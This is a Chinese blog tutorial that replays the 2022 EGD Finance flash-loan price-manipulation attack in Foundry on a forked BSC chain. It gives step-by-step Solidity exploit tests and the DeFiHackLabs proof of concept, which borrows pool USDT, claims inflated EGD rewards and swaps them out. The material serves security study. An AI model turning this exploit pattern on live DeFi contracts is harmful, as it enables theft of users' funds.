EGD价格操纵攻击foundry复现

EGD价格操纵攻击事件的介绍见:EGD价格操纵攻击原理分析—phalcon+etherscan)

foundry的介绍可见:编写测试 - Foundry 中文文档 (learnblockchain.cn)

参考链接:EGD Finance 价格操纵攻击事件分析 - YINHUI’s BLOG (yinhui1984.github.io)

1. 前情提要以及思路介绍

EGD-Finance项目的主要实现目的:质押USDT一段事件,可提取奖励EGD Token,前文已经说明,由于闪电贷从Pancake LPs池子中借出了大量的USDT,而奖励的EGD Token数量一定程度上依赖于池子中两种代币的数量,从而导致了价格操纵攻击。

由于对foundry不太熟悉,加上没有写过大的solidity项目;

攻击的复现我们分为三部分进行实现:

  • 借用闪电贷,实现价格的操纵
  • 实现EGD项目的逻辑,质押后兑换奖励
  • 闪电贷实现价格操纵,利用EGD兑换的逻辑漏洞,实现套利

2. 闪电贷实现价格操纵

  • 对于想调用的外部合约函数,不仅仅需要它的地址,同时把对应需要调用的函数写成接口interface()的形式,interface()中不写具体的函数代码,函数访问修饰都是external.
  • solidity中没有浮点型的数,一般乘以的百分比,可以学习一下一般怎么写的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
pragma solidity ^0.8.10;

import "forge-std/Test.sol";

interface IERC20 {
function balanceOf(address owner) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
}

interface IEGD_Finance {
function getEGDPrice() external view returns (uint);
}

interface IPancakePair {
function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
}

//Pancake借出USDT的池子
address constant EGD_USDT_LPPool = 0xa361433E409Adac1f87CDF133127585F8a93c67d;

// EGD 代理合约的地址
address constant EGD_Finance = 0x34Bd6Dba456Bc31c2b3393e499fa10bED32a9370;

// USDT代币的地址
address constant usdt = 0x55d398326f99059fF775485246999027B3197955;

contract pricemanipulation is Test{

function setUp() public{
//fork stake()函数调用前的状态
vm.createSelectFork("https://rpc.ankr.com/bsc", 20_245_522);
//给账户上初始分配点USDT
deal(address(usdt),address(this), 30000*1 ether);
}

function testPrice() public {
console.log("EGD Price before:", IEGD_Finance(EGD_Finance).getEGDPrice());
uint amount = IERC20(usdt).balanceOf(address(EGD_USDT_LPPool)) * 9_999_999_925 / 10_000_000_000;
IPancakePair(EGD_USDT_LPPool).swap(0, amount, address(this), "0x00");
console.log("EGD Price after( return flashloan )", IEGD_Finance(EGD_Finance).getEGDPrice());
}

function pancakeCall(address sender, uint256 amount1, uint256 amount2, bytes calldata data) public {
//闪电贷之前EGD的价格
console.log("EGD Price after( flashloan )", IEGD_Finance(EGD_Finance).getEGDPrice()) ;

//归还相应的本金
bool success = IERC20(usdt).transfer(address(EGD_USDT_LPPool),(amount2 * 10_500_000_000) / 10_000_000_000) ;
require(success) ;
}
}

测试结果:表明成功操纵了价格

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 /test/attack_test # forge test --match-contract pricemanipulation -vvv
[⠃] Compiling...
No files changed, compilation skipped

Running 1 test for test/test_pricemanipulation.sol:pricemanipulation
[PASS] testPrice() (gas: 87598)
Logs:
EGD Price before: 8093644493314726
EGD Price after( flashloan ) 60702333
EGD Price after( return flashloan ) 8498326714945346

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 576.95ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

3. 实现先质押USDT,后获得EGD奖励

  • 这里比较疑惑的一点是,目标函数中userInfo是一个结构体映射,这里接口中将其用函数表示出,用于获取对应的值,希望有佬帮忙讲解一下,这里是interface的用法可以这样写嘛,后续再试一下。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
pragma solidity ^0.8.10;

import "forge-std/Test.sol";

interface IERC20 {
function balanceOf(address owner) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
}

interface IEGD_Finance {
function getEGDPrice() external view returns (uint);
function bond(address invitor) external;
function stake(uint amount) external;
function claimAllReward() external;
function calculateAll(address addr) external view returns (uint);
function calculateReward(address addr, uint slot) external view returns (uint);

function userInfo(address) external view returns (
uint totalAmount,
uint totalClaimed,
address invitor,
bool isRefer,
uint refer,
uint referReward
);
}

// EGD 代理合约的地址
address constant EGD_Finance = 0x34Bd6Dba456Bc31c2b3393e499fa10bED32a9370;

// USDT代币的地址
address constant usdt = 0x55d398326f99059fF775485246999027B3197955;

// EGD代币的地址
address constant egd = 0x202b233735bF743FA31abb8f71e641970161bF98;


contract stake_reward is Test{

function setUp() public {
vm.createSelectFork("https://rpc.ankr.com/bsc", 20_245_522);
deal(address(usdt),address(this), 30000*1 ether);
}

function test_stake() public {
//具体可见EGD-Fiance源码,bond函数填写邀请人
IEGD_Finance(EGD_Finance).bond(address(0x85cbfaBD709c744C84A36BA47145396d724EE751));

//stake()过程中会直接继续代币转账,这里需要先approve(没真实写过的话,可能会忘这一步)
IERC20(usdt).approve(address(EGD_Finance), 100 ether);
IEGD_Finance(EGD_Finance).stake(100 ether);
(uint totalAmount, , , , , ) = IEGD_Finance(EGD_Finance).userInfo(address(this));

//接下来查看对应的资金
console.log("Stake USDT amount:", totalAmount);
console.log("EGD reward: ", IERC20(egd).balanceOf(address(this)));

// foundry的cheatcode,跳转到某个区块
vm.warp(block.timestamp + (4 * 60 * 24 * 4));

//获得对应的奖励
IEGD_Finance(EGD_Finance).claimAllReward();

console.log("EGD reward after 2 days: ", IERC20(egd).balanceOf(address(this)));

}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/test/attack_test # forge test --match-contract stake_reward -vvv
[⠊] Compiling...
[⠰] Compiling 1 files with 0.8.22
[⠒] Solc 0.8.22 finished in 1.28s
Compiler run successful!

Running 1 test for test/test_stake_reward.sol:stake_reward
[PASS] test_stake() (gas: 865865)
Logs:
Stake USDT amount: 100000000000000000000
EGD reward: 0
EGD reward after 4 days: 18016435864263240000

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 591.56ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

测试结果:成功实现了质押USDT,获得EGD的过程

4. 闪电贷实现价格操纵,利用EGD兑换的逻辑漏洞,实现套利

  • 只是简单地将上述两个步骤糅合在了一起,调用EGD-Finance提取奖励的函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
pragma solidity ^0.8.10;

import "forge-std/Test.sol";

interface IERC20 {
function balanceOf(address owner) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
}

interface IEGD_Finance {
function getEGDPrice() external view returns (uint);
function bond(address invitor) external;
function stake(uint amount) external;
function claimAllReward() external;
function calculateAll(address addr) external view returns (uint);
function calculateReward(address addr, uint slot) external view returns (uint);
function userInfo(address) external view returns (
uint totalAmount,
uint totalClaimed,
address invitor,
bool isRefer,
uint refer,
uint referReward
);
}

interface IPancakePair {
function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
}

//Pancake借出USDT的池子
address constant EGD_USDT_LPPool = 0xa361433E409Adac1f87CDF133127585F8a93c67d;

// EGD 代理合约的地址
address constant EGD_Finance = 0x34Bd6Dba456Bc31c2b3393e499fa10bED32a9370;

// USDT代币的地址
address constant usdt = 0x55d398326f99059fF775485246999027B3197955;

// EGD代币的地址
address constant egd = 0x202b233735bF743FA31abb8f71e641970161bF98;

contract HackerTest is Test{

function setUp() public{
vm.createSelectFork("https://rpc.ankr.com/bsc", 20_245_522);
deal(address(usdt),address(this), 30000*1 ether);
}

function stake() public {
IEGD_Finance(EGD_Finance).bond(address(0x85cbfaBD709c744C84A36BA47145396d724EE751));

IERC20(usdt).approve(address(EGD_Finance), 100 ether);
IEGD_Finance(EGD_Finance).stake(100 ether);
}

function test_exploit() public {
stake();
vm.warp(block.timestamp + (4 * 60 * 24 * 2));

console.log("EGD Price before flashloan:", IEGD_Finance(EGD_Finance).getEGDPrice());

//计算用户地址,当前存款下获得的奖励数目
uint totalreward = IEGD_Finance(EGD_Finance).calculateAll(address(this));
console.log("Normal EGD reward:", totalreward);

uint amount = IERC20(usdt).balanceOf(address(EGD_USDT_LPPool)) * 9_999_000_000 / 10_000_000_000;
IPancakePair(EGD_USDT_LPPool).swap(0, amount, address(this), "0x00");

}

function pancakeCall(address sender, uint256 amount1, uint256 amount2, bytes calldata data) public{

console.log("EGD Price after flashloan: ", IEGD_Finance(EGD_Finance).getEGDPrice());

//提取账户奖励
IEGD_Finance(EGD_Finance).claimAllReward();

console.log("Hacker's EGD balance: ", IERC20(egd).balanceOf(address(this)));

bool success = IERC20(usdt).transfer(address(EGD_USDT_LPPool),(amount2 * 10_500_000_000) / 10_000_000_000) ;
require(success) ;
}
}

5. DefiHacklabs实现的POC介绍

  • Defihacklabs中的复现,其将大部分常用的interface都保存在了./interface.sol文件中
  • 多了一步,是通过IPancakeRouter这个池子,将套利获得的EGD全部换成USDT,前文分析中已经说明
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

// @KeyInfo - Total Lost : ~36,044 US$
// Attacker : 0xee0221d76504aec40f63ad7e36855eebf5ea5edd
// Attack Contract : 0xc30808d9373093fbfcec9e026457c6a9dab706a7
// Vulnerable Contract : 0x34bd6dba456bc31c2b3393e499fa10bed32a9370 (Proxy)
// Vulnerable Contract : 0x93c175439726797dcee24d08e4ac9164e88e7aee (Logic)
// Attack Tx : https://bscscan.com/tx/0x50da0b1b6e34bce59769157df769eb45fa11efc7d0e292900d6b0a86ae66a2b3

// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0x93c175439726797dcee24d08e4ac9164e88e7aee#code#F1#L254
// Stake Tx : https://bscscan.com/tx/0x4a66d01a017158ff38d6a88db98ba78435c606be57ca6df36033db4d9514f9f8

// @Analysis
// Blocksec : https://twitter.com/BlockSecTeam/status/1556483435388350464
// PeckShield : https://twitter.com/PeckShieldAlert/status/1556486817406283776

IPancakePair constant USDT_WBNB_LPPool = IPancakePair(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);
IPancakePair constant EGD_USDT_LPPool = IPancakePair(0xa361433E409Adac1f87CDF133127585F8a93c67d);
IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
address constant EGD_Finance = 0x34Bd6Dba456Bc31c2b3393e499fa10bED32a9370;
address constant usdt = 0x55d398326f99059fF775485246999027B3197955;
address constant egd = 0x202b233735bF743FA31abb8f71e641970161bF98;

contract Attacker is Test {
function setUp() public {
//fork对应的区块状态
vm.createSelectFork("bsc", 20_245_522);

vm.label(address(USDT_WBNB_LPPool), "USDT_WBNB_LPPool");
vm.label(address(EGD_USDT_LPPool), "EGD_USDT_LPPool");
vm.label(address(pancakeRouter), "pancakeRouter");
vm.label(EGD_Finance, "EGD_Finance");
vm.label(usdt, "USDT");
vm.label(egd, "EGD");
}

function testExploit() public {
Exploit exploit = new Exploit();

console.log("-------------------- Pre-work, stake 100 USDT to EGD Finance --------------------");
console.log("Tx: 0x4a66d01a017158ff38d6a88db98ba78435c606be57ca6df36033db4d9514f9f8");
console.log("Attacker Stake 100 USDT to EGD Finance");

//先实现对应的质押USDT
exploit.stake();

vm.warp(1_659_914_146); // block.timestamp = 2022-08-07 23:15:46(UTC)

console.log("-------------------------------- Start Exploit ----------------------------------");
emit log_named_decimal_uint("[Start] Attacker USDT Balance", IERC20(usdt).balanceOf(address(this)), 18);
emit log_named_decimal_uint(
"[INFO] EGD/USDT Price before price manipulation", IEGD_Finance(EGD_Finance).getEGDPrice(), 18
);
emit log_named_decimal_uint(
"[INFO] Current earned reward (EGD token)", IEGD_Finance(EGD_Finance).calculateAll(address(exploit)), 18
);
console.log("Attacker manipulating price oracle of EGD Finance...");

exploit.harvest();

console.log("-------------------------------- End Exploit ----------------------------------");
emit log_named_decimal_uint("[End] Attacker USDT Balance", IERC20(usdt).balanceOf(address(this)), 18);
}
}

// Contract 0x93c175439726797dcee24d08e4ac9164e88e7aee
contract Exploit is Test {
uint256 borrow1;
uint256 borrow2;

//与前文流程一致
function stake() public {
// Give exploit contract 100 USDT, 给账户初始复制
deal(address(usdt), address(this), 100 ether);
// Set invitor
IEGD_Finance(EGD_Finance).bond(address(0x659b136c49Da3D9ac48682D02F7BD8806184e218));
// Stake 100 USDT
IERC20(usdt).approve(EGD_Finance, 100 ether);
IEGD_Finance(EGD_Finance).stake(100 ether);
}

function harvest() public {
console.log("Flashloan[1] : borrow 2,000 USDT from USDT/WBNB LPPool reserve");
borrow1 = 2000 * 1e18;
USDT_WBNB_LPPool.swap(borrow1, 0, address(this), "0000");
console.log("Flashloan[1] payback success");
IERC20(usdt).transfer(msg.sender, IERC20(usdt).balanceOf(address(this))); // refund all USDT
}

//用不同的calldata,来区分两次闪电贷的过程
function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
if (keccak256(data) == keccak256("0000")) {
console.log("Flashloan[1] received");

console.log("Flashloan[2] : borrow 99.99999925% USDT of EGD/USDT LPPool reserve");

//第二次闪电贷借出多少USDT
borrow2 = IERC20(usdt).balanceOf(address(EGD_USDT_LPPool)) * 9_999_999_925 / 10_000_000_000; // Attacker borrows 99.99999925% USDT of EGD_USDT_LPPool reserve
EGD_USDT_LPPool.swap(0, borrow2, address(this), "00");
console.log("Flashloan[2] payback success");

// Swap all egd -> usdt
console.log("Swap the profit...");
address[] memory path = new address[](2);
path[0] = egd;
path[1] = usdt;
IERC20(egd).approve(address(pancakeRouter), type(uint256).max);
pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
IERC20(egd).balanceOf(address(this)), 1, path, address(this), block.timestamp
);

bool suc = IERC20(usdt).transfer(address(USDT_WBNB_LPPool), 2010 * 1e18); // Pancakeswap fee is 0.25%, so attacker needs to pay back usdt >2000/0.9975 (Cannot be exactly 0.25%)
require(suc, "Flashloan[1] payback failed");
} else {
console.log("Flashloan[2] received");
emit log_named_decimal_uint(
"[INFO] EGD/USDT Price after price manipulation", IEGD_Finance(EGD_Finance).getEGDPrice(), 18
);
// -----------------------------------------------------------------
console.log("Claim all EGD Token reward from EGD Finance contract");
IEGD_Finance(EGD_Finance).claimAllReward();
emit log_named_decimal_uint("[INFO] Get reward (EGD token)", IERC20(egd).balanceOf(address(this)), 18);
// -----------------------------------------------------------------
//计算需要总共返还闪电贷的费用
uint256 swapfee = (amount1 * 10_000 / 9970) - amount1; // Attacker needs to pay >0.25% fee back to Pancakeswap
bool suc = IERC20(usdt).transfer(address(EGD_USDT_LPPool), amount1 + swapfee);
require(suc, "Flashloan[2] payback failed");
}
}
}

// interface
interface IEGD_Finance {
function bond(address invitor) external;
function stake(uint256 amount) external;
function calculateAll(address addr) external view returns (uint256);
function claimAllReward() external;
function getEGDPrice() external view returns (uint256);
}